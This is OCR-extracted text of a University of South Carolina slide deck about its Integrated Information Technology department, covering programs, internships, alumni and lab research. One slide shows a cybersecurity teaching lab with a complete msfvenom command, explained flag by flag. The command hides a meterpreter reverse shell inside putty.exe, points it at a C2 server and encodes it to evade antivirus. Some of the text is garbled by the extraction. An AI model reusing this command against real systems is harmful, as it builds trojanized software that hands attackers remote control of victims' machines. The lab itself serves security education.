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University of South Carolina

A Founded : 1801 (one of the oldest public universities in the U.S.)

A Type: Public research university (R1 7 highest research activity)
A Location : Columbia, South Carolina
A Role: Flagship university of the University of South Carolina system

A Enrollment : ~40,000 students at the main campus; over 52,000 system-wide
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Molinaroli College of Engineering and Computing

MAJORS

Aerospace Engineering
Biomedical Engineering

Chemical Engineering

Civil Engineering

Computer Science

Computer Engineering

Computer Information Systems
Integrated Information Technology
Electrical Engineering

Mechanical Engineering
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MINORS

Aerospace Engineering
Applied Computing
Computer Science
Cybersecurity Operations
Electrical Engineering
Information Technology
Nuclear Engineering




Computing Disciplines

Pt
—

NS, COMPUTER
ENGINEERING (CE)
’ is concerned with the design and
= construction of computers and

computer-based systems.

INFORMATION

SYSTEMS (IS) ——
is focused on integrating informa- lg‘
tion technology solutions and

business processes.

SOFTWARE
ENGINEERING (SE)
is the discipline of developing

and maintaining large software
systems.

COMPUTER
SCIENCE (CS)

covers the widest range of computing

topics from its theoretical foundations
to the development of new computing
technologies and techniques.

INFORMATION
TECHNOLOGY (IT)

programs prepare students to meet
the computer technology needs of
business and other organizations.

OTHER
SPECIALITIES
programs that differ from these

disciplines or'which expand some
aspect of these disciplines.




Information Technology

Summary
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INFORMATION
TECHNOLOGY
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Maore Theoretical

More Applied

Information Technology is focused on the applied side of computing. It covers all aspects of technology
infrastructure, including hardware, operating systems, applications, data storage and communication

On.the Job

Integrates hardware and software.

Applies technology to solve practical
problems.

Provides a support role, within an
organization, to help others make the
best use of its technical and informa-
tion resources.

Uses a wide range of foundational
knowledge to adapt to new technolo-
gies and ideas.

Understands both technology and
business, but with a focus more on
the technical side.




Information Technology

We also do software development,
especially in applied areas such
as web sites and mobile apps.

We can help configure and
improve an organization’s
security infrastructure.
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- This means we can take care of
an organization’s information
technology infrastructure.

&

We possess a combination of
theoretical knowledge and
practical, hands-on expertise.

\/‘VQ We install, customize, and maintain

both applications and devices for
an organization and its users.
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Information Technology

We also do software development,
especially in applied areas such
as web sites and mobile apps.

We can help configure and
improve an organization’s
security infrastructure.

- This means we can take care of
an organization’s information
technology infrastructure.

We possess a combination of
theoretical knowledge and
practical, hands-on expertise.
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ITvs CS

Computer Science (CS) graduates
COMPUTER can perform many different tasks.

SCIENCE

We use mathematical

approaches to invent and

improve new algorithms.
We take on challenging
programming jobs.

> 4

) Pragress in CS enables
Ny innovation in other fields,

¢ : such as ...

... bioinformatics

/

... data visualization

=

In Information Technology we are principally
focused on how to configure, use, and support
technology infrastructures within organizations.

INFORMATION
TECHNOLOGY

7%

Organizations are dependent upon
information technology and IT

professionals help support it. A~

We understand computer systems
and their software and help to solve
computer-related problems.

| 5
Dl @Y
We possess a combination of
theoretical knowledge and
_ practical, hands-on expertise.

We also do software development,
especially in applied areas such
as web sites and mobile apps.

We can help configure and
improve an organization's
security infrastructure.

. We install, customize, and maintain
both applications and devices for
an organization and its users.




Department of Integrated Information Technology

A Twelve faculty members, experts in their fields

A Our programs
BS in Integrated Information Technology (IIT)
Minor in Cybersecurity Operations
New offerings in Applied Atrtificial Intelligence (Fall 2026)
Graduate programs (MSIT, PhD)




Integrated Information Technology Program

A Features BS in Integrated Information Technology
Develop expertise in communication networks / networking, cybersecurity, applied Al, and other areas
Paid undergraduate research opportunities
Required paid internship (400 hours)
Required capstone, working on a project for a real company
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Integrated Information Technology Program

GLOBAL COMPUTER NETWORKS / INTERNET &

COMPONENTS

S THE INTERNET

GLOBAL BACKBONE
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Integrated Information Technology Program
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Integrated Information Technology Program
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Integrated Information Technology Program

DIRECT CONNECTION: low latency MAN-IN-THE-MIDDLE ATTACK: high latency

END-TO-END LATENCY: increased by attacker

: INTERCEPT MODIFY ]
END-TO-END LATENCY: low DECRYPT RE-ENCRYPT v
RELAY
Q -_:. A:. .—:. | v“ = — g L- - .-j &5 -
REQUEST/RESPONSE : :
CLIENT SERVER CLIENT i ATTACKER : SERVER
(User) (Bank/Application) (User) E. (MITM (Bank/Apphcatton)
- . -

. . . .
-----------------------------

Normal
MITM

VISUALIZING THE LATENCY GAP
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© Not secure  hitps://10.173.78.50/lab-content.cgi?res_id=31355&ex_id=JGOMEZ_0050_56AE_2F47_6305_5037_0004
o ckenh-)
=  Lab_4 Collecting_Information with_Sp... 10 /33 - 125% + | G ® 3 &
D g argu 0 0 dna verow d pranied as Tonows.

e [a x8¢] specifies the architecture of the target victim, which is in this case.

e [—platform windows]: specifies the platform of the target victim (e.g., Linux,
Android, Apple iOS, etc.). Since the victim is using a Windows 10 machine, the
specified platform is frindows].

e [x putty.exe| specifies an executable file to attach the malicious payload to.
We will use a popular program that allows the user to configure machines
via SSH and Telnet. Note that this program could be of any type (e.g., Notepad++,
Word application).

e [ preserves the template behavior (putty.exe) and injects the payload
(reverse_tcp) as a new thread.

e [p windows/meterpreter/reverse tcg): specifies the payload to use, which is
in this case a reverse_tcp session.

e [LHOST=216.0.0.10L specifies the IP address through which the attacker will
listen for reverse_tcp session connections. This is the IP address of the C2 server.

e [LPORT=4444] specifies the port number through which the attacker will listen for
a reverse_tcp session connections. This is the port number of the C2 server.

e [fe x86/shikata ga nai] specifies the shellcode encoder to use (e.g., x64/xor,
cmd/perl, etc.). We are using the encoder which uses a
polymorphic XOR additive feedback to ensure that the output is different every
time. This helps evading some weak Antivirus and Antimalware products.

o [L 3} specify the number of times to encode the payload.

e [b “\x007: specify the characters to avoid (i.e.,, bad characters). These are

characters known to make the shell or application crash.

[E£ exe} specify the output format (windows executable).

e [0 puttyX.exe| save the payload to a file named puttyX.exe.

msfvenom -a x86 --platform windows -x putty.exe -k -p
windows/meterpreter/reverse_tcp LHOST=216.0.0.10 LPORT=4444 -e
x86/shikata_ga_nai -i 3 -b "“\x00” -f exe -o puttyX.exe

v [ nemLae- X+
& G © Notsecure hetps://10.173.78.50/lab.cgi ¥ O 00
M Gmail @B YouTube @ Maps [lf Special Topicsinint.. B Translate [ rout el Build a Fast Networ. »
UNIVERSITY OF
4 Home Reservation «

SOUTH CAROLINA

MyNETLAB > CyberSec_H1_.12004 > Reservation 31355 > Lab 4: Collecting Information with Spyware: Screen Captures and
Keyloggers
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192.168.0.0/24 216.0.0.0/16
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server server

172.16.0.0/16
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3 All Bookmarks
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Agentic Al [ OLD ENTRY-LEVEL |

A Prepare learners to create solutions with Al ' \ = USE Al + JUDGMENT
. | — y 0 SOLVE PROBLEMS /8
A BS in IIT course sequences — o]
Q) s
Applied Agentic Al B
Machine Learning

U

KNOW ASK GOOD VALIDATE UNDERSTAND WHY
FUNDAMENTALS  QUESTIONS OF Al Al QUTPUT SOMETHING WORKS

NFOGRAPHIC © 2024




. AGENTIC Al (EMERGENCE & IMPACT)
Agentic Al

Give Mission +

A Prepare learners to create solutions with Al s s"gg?;‘gxgggm D | Qs 4 ™= nstraints Al Agonts B

. > ALLRULES. flseal o BN \_ Solve Problem 48
A BS in IIT course sequences | > @
Applied Agentic Al
Machine Learning

IMPACT OF {
AGENTIC Al

Sl J
MANUAL, NON-ADAPTIVE SYSTEMS (HARD-CODED) ['{ I8l REDEPLOYABLE Al-POWERED WORKFLOWS

&

sure that everybody uses Al MISSION GIVE MISSION VALIDATEAI  INTEGRATE Al AGENCY
FUNDAMENTALS  +CONSTRAINTS  PLANS & OUTCOMES  into WORKFLOWS

Adopted from NDG  AGENTIC INFOGR

fit is unlikely most people will lose a job to Alé ltis
most likely that most people will lose their job to
somebody who uses Al. And so we have to make

Nvidia CEO Jensen Huang
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Integrated Information Technology Program

Regional Cybersecurity Competition 1 Palmetto Cyber-defense Competition (PCDC) 2026
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BS Graduates

Private businesses

National Laboratories

Department of War, Energy, State, others
Foreign organizations

Ty Love-Baker

1stLt at United States Marine Corps

Washington, District of Columbia, United States - Contact info

Matt Driver
Cyber Operations Officer | Cyber Security Engineer | Sec

Columbia, South Carolina, United States * Contact info
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BS Graduates

Private businesses

National Laboratories

Department of War, Energy, State, others
Foreign organizations

(')

Anaia Prather h=/+=1
Chief of Staff at U.S. Department of State

Washington, District of Columbia, United States + Contact info

Q

519 followers - 467 connections

Di"on B. (He/Him)
Security Analyst Intern

United States - Contact info

155 connections
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BS Graduates

Private businesses

National Laboratories

Department of War, Energy, State, others
Foreign organizations

E=J =ty

— & A &3 =
-

Gabriella Pinto © JaCk. Sadl.e
Cybersecurity Consultant at Palo Alto Networks 25A S'gnal Officer, US Army Reserve
New York City Metropolitan Area - Contact info Greater Augusta Area - Contact info
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High-School to College

A Pathway from high-school to college

Grade Level

Course Highlights

Key Milestones

Sth Fundamentals of Computing/AP Foundation Building
Computer Science Principles
10th Cybersecurity Technical Skills
MNetworking
Advanced Networkin . . .
11th Advanced Cybersea?rity Security+/Network+ Certifications
*Can take in any sequence
Summer Fotential Internship Opportunity USC Summer Internship
12th Dual Enroliment: Python, College Credit
Hardware, Cyber

28




Internships

400-hour internship requirement
80 interns
60+ companies / organizations
Companies located in 12 states: SC, NC, FL, VA, GA, MN, RI, NH, MA, PA, MI, DE
Wages reported for 65 students
Wages between $38.50 7 $10.00
Average wage was $20.66

29
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Internships

&

*

4

» Soffdocs
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Internships

= . .
Z D

£ Our

V i Values

| Our

Values

Safety

Ethics

Excellence
Embrace Change

One Dominion E erg
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Internships
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Contact Information

Jorge Crichigno 1 Professor and Chair

Anthony Dillon T Internship Director
crichigno@cec.sc.edu
TLDILLON@cec.sc.edu

https://research.cec.sc.edu/cyberinfra

Tuesday, April 28, 2026
Lexington Technology Center (LTC)
Lexington, SC

Molinaroli College of
Engineering and Computing
UNIVERSITY OF SOUTH CAROLINA
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Cyberinfrastructure Lab (Cl) at USC
University of South Carolina

https://research.cec.sc.edu/cyberinfra

Jorge Crichigno
crichigno@cec.sc.edu

A Molinaroli College of

il Engineering and Computing
UNIVERSITY OF SOUTH CAROLINA
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Cyberinfrastructure Lab T University of South Carolina

Elie Kfoury Samia Choueiri

Jorge Crichigno . Ali Mazloum
PhD Student
Professor Assistant Professor PhD Student

Sergio Elizalde | | Ali AlSabeh

i Jose Gomez
PhD Student Ahm” GSdPN Former PhD Former PhD
PhD Student Student (Aug 024)

Student (Aug
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P4 Programmable Switches

A P4 programmable switches permit programmers to program the data plane

PARSER

state parse_ethernet {
packet.extract(hdr.ethernet);
transition select(hdr.ethernet.etherType) {
TYPE_IPV4: parse_ipwd;
default: accept;
}
h

state parse_ ipwd {
packet.extract(hdr.ipvd);
verify(hdr.ipvd.ihl »>= 5, error.IPHeaderTooShort);
transition select(hdr.ipwvd.ihl) {

5 : accept;
default : parse_ipwd option;
}
h
P4 code

Programmable ASIC Wedge 100BF-32X from Edgecore

Gbps (per chip)

Packet forwarding speeds

10°

104 <

103 4

102 4

101 4

100_

—=— CPU

—4— Switch chip

12.8 Thps

>100x

1990

1995

2000 2005 2010 2015 2020
Years

Performance
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Representative Publications

Enabling Line-Rate TLS SNI Inspection in P4

Ali AlSabeh*, Ali Mazloum®, Elie Kfoury T, Jorge Crichigno®, Hala Strohmier Berry*
*College of Sciences and Engineering, University of South Carolina Aiken (USCA)
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fCollege of Engineering and Computing, University of South Carolina (USC)
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Software Approach with P4 Integration

Samia Choueiri, Ali Mazloum, Elie F. Kfoury, Jorge Crichigno
University of South Carolina, USA
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Offloading Encrypted C2 Traffic Mitigation to
SmartNICs

Ali Mazloum*, Elie F. Kfoury*, Samia Choueiri *, Ali AlSabeh!, Jorge Crichigno*
*College of Engineering and Computing, University of South Carolina (USC)
TCollege of Sciences and Engineering, University of South Carolina Aiken (USCA)
Emails: amazloum@email.sc.edu®, ekfoury@email.sc.edu®, choueiri@email.sc.edu”,
ali.alsabeh@usca.edu’, jerichigno@cec.sc.edu*

Abstract—As command and control (C2) traffic increasingly  efficiency while reducing the computational burden on the
adopts the Transport Layer Security (TLS) protocol, traditional  host system. SmartNICs, with their built-in processing power,
ﬁ::)c“'::“m?;::t‘:‘: ll;elaclzlneorl.ea‘:\elzg l::;\?l‘fbt c'.';;p:g:'r:“o‘fr?: la' enable efficient data handling at the network edge, allowing

e for faster packet processing and the ability to perform security

P by i ifying encrypted C2 traffic without S 5 A A "
mspectmg payloads. At the same time, modern smart network  functions such as traffic analysis and filtering directly on the

interface cards (smartNICs) provide advanced processing ca- NIC.

?l!lﬂ_‘“'ﬂg 5"»:“"“!’ applications to run directly on the This paper presents a system that leverages smartNICs
his paper i sm'aanCs ‘o o ,a" ML to implement a random forest (RF) classifier for detecting

classifier for encrypted C2 d Data plane o . . i
kit (DPDK) is used to program the smartNIC and implement a encrypted C2 traffic in real time using features from the
TLS handshake phase. The system is designed to operate

random forest (RF) model. The system achieves 99.9% accuracy
on a publicly available dataset while sustaining a 50Gbps efficiently on the ARM cores of the smartNIC, with Data
throughput with minimal processing overhead. Plane Development Kit (DPDK) being used to program the

smartNIC for high-performance packet processing. DPDK

is highly opnmmd lo du.elemle pALke[ proc sing speed
A coduca th, ith teaditinnal

Index Terms—TLS, Encrypted C2 traffic, DPI, software ac-
celeration, smartNICs, Programmable networks
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A Survey on Security Applications with SmartNICs: Taxonomy,
Implementations, Challenges, and Future Trends

Sergio Elizalde®*, Ali AlSabeh?,

Jorge Crichigno®

Ali Mazloum®,

Samia Choueiri’, Elie Kfoury?, Jose Gomez® and

“University of South Carolina, Columbia, South Carolina, USA
bUniversity of South Carolina, Aiken, South Carolina, USA

“Fort Lewis College, Durango, Colorado, USA

ARTICLE INFO

Keywords:
SmartNIC
Security

Intrusion detection systems
Volumetric attacks

Privacy

Threat model

ABSTRACT

Over the I:m decade, network have grown high-speed intercon-
nects. { chip are ing the upper limits of silicon-based computing
with slow i in i and encrgy effciency. This trend has forced the
industry to shift paradigms, moving from monolithic architectures to

dekigns. Moreover, [ evercevolying: theests comprosmise)digital services: il demand more;scalabie
and flexible solutions to ensure service continuity in production networks. Smart Network Interface
Cards (SmartNICs) are a product of this new paradigm, integrating domain-specific engines and general-
purpose cores to offload various network infrastructure tasks, including those related to security. This
paper provides a comprehensive overview of SmartNICs, with a particular focus on their role in
strengthening network defenses. It introduces SmartNIC technology and presents a taxonomy of security
applications offloaded to SmartNICs, categorized into Intrusion Detection and Prevention Systems
(IDS/IPS), defenses against volumetric s, and data confidentiality mechanisms. Additionally, the
paper explores vulnerabilities associated with adopting SmartNICs in the cloud, examining the threat
model and reviewing proposed remediations in the literature. Finally, it discusses challenges and future
trends in SmartNIC security applications, highlighting current initiatives and open research areas.




Collaborators

Intel, NVIDIA Advanced training; technology used in multiple projects, PhD rese. PhD level / advanced professional level

Cisco, VMware, Palc Workforce development (industry certificates in cyber / networks). Undergraduates, veterans, STEM
Alto Networks, AWS Certificates can be completed after one or more 8{&éek courses  students, CS/IT professionals

CiscoVMware,Palo USC trains military personnel who may want to obtain a DoD National Guard, ROTC, Fort Gordon
Alto Networks,AWS recognized credentials networks and cybersecurity

LBNL, ESnet, Advanced training in CS / IT topgeetworks and cybersecurity Professionals working on high
Internet2 performance environments

SRNL, NIWC, privat Internships, applied research Mostly undergraduate students, but
companies expanding to graduate / PhD level
Network USC and NDG collaborate in multiple projects, including the Acad¢ Learners at all levels

Development Cloud

Group (NDG)

OpexSystems Project on advanced telemetry, accelerators for deep packet DoD
inspection with applications to DoD

FABRIC FABRIC is an International infrastructure that enables experimente Learners at all levels
and research ascale. USC leads a research projecborartNICs

Internet2 USC and Internet2 collaborate on training for network / cybersecurity
professionals and research @martNICs 40




Enhancing Data Transfers by Enabling Programmability and
Closed-loop Control in a Non-programmable Science DMZ

NSF Campus Cyberinfrastructure Program
Award 2346726




USC Science DMZ

A The Science DMZ is a network designed for large science data transfers

NAT, security Border
appliances router

P4 PDP switch SDMZ

Non-programmable switch
Optical tap & HPC // \\

A

O

perfSONAR g Data Transfer 3 |
Node

MIRC Library
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